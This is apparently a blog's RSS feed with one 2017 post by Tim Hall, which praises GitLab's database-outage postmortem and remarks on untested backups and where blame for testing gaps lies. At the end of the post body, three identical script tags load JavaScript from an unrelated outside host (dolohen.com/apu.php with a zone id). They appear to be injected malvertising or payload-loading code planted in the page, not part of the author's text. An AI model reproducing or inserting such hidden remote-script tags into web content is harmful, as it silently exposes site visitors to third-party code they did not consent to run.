<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Where Worlds Collide &#187; GitLab</title>
	<atom:link href="http://www.kalyr.co.uk/weblog/tag/gitlab/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kalyr.co.uk/weblog</link>
	<description>The blogs of Tim Hall</description>
	<lastBuildDate>Fri, 10 Mar 2017 15:33:59 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=3.7.41</generator>
	<item>
		<title>GitLab&#8217;s Database Outage Postmortem</title>
		<link>http://www.kalyr.co.uk/weblog/computing/testing/gitlabs-database-outage-postmortem/</link>
		<comments>http://www.kalyr.co.uk/weblog/computing/testing/gitlabs-database-outage-postmortem/#comments</comments>
		<pubDate>Mon, 13 Feb 2017 14:57:03 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Testing & Software]]></category>
		<category><![CDATA[GitLab]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=17734</guid>
		<description><![CDATA[This report pulls no punches, and ought to be essential reading for anyone involved in software development. <a href="http://www.kalyr.co.uk/weblog/computing/testing/gitlabs-database-outage-postmortem/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>GitLab&#8217;s <a href="https://about.gitlab.com/2017/02/10/postmortem-of-database-outage-of-january-31/" target="_blank">postmortem of the database outage of January 31</a> which resulted in significant loss of production data pulls no punches, and ought to be essential reading for anyone involved in software development. It has a lot in common with <a title="Vivarail publish report on the Kenilworth fire" href="http://www.kalyr.co.uk/weblog/railways/transport/vivarail-publish-report-on-the-kenilworth-fire/">Vivarail&#8217;s report into the Kenilworth fire</a>.</p>
<p>One element in the chain of events that led to the database crash raises eyebrows; an attempted hard-delete of the user account of a GitLab employee who had been maliciously flagged for abuse by a troll. It boggles the mind that a system would do such a thing without any human intervention. That&#8217;s either a serious coding error or some dangerously naive requirements analysis.</p>
<p>And this is especially damning.</p>
<blockquote><p><strong>Why was the backup procedure not tested on a regular basis?</strong> &#8211; Because there was no ownership, as a result nobody was responsible for testing this procedure.</p></blockquote>
<p>When some important part of a complex system hasn&#8217;t been tested thorougly enough, it&#8217;s easy to blame the testers. But the blame usually lies higher up the project management chain.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/computing/testing/gitlabs-database-outage-postmortem/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
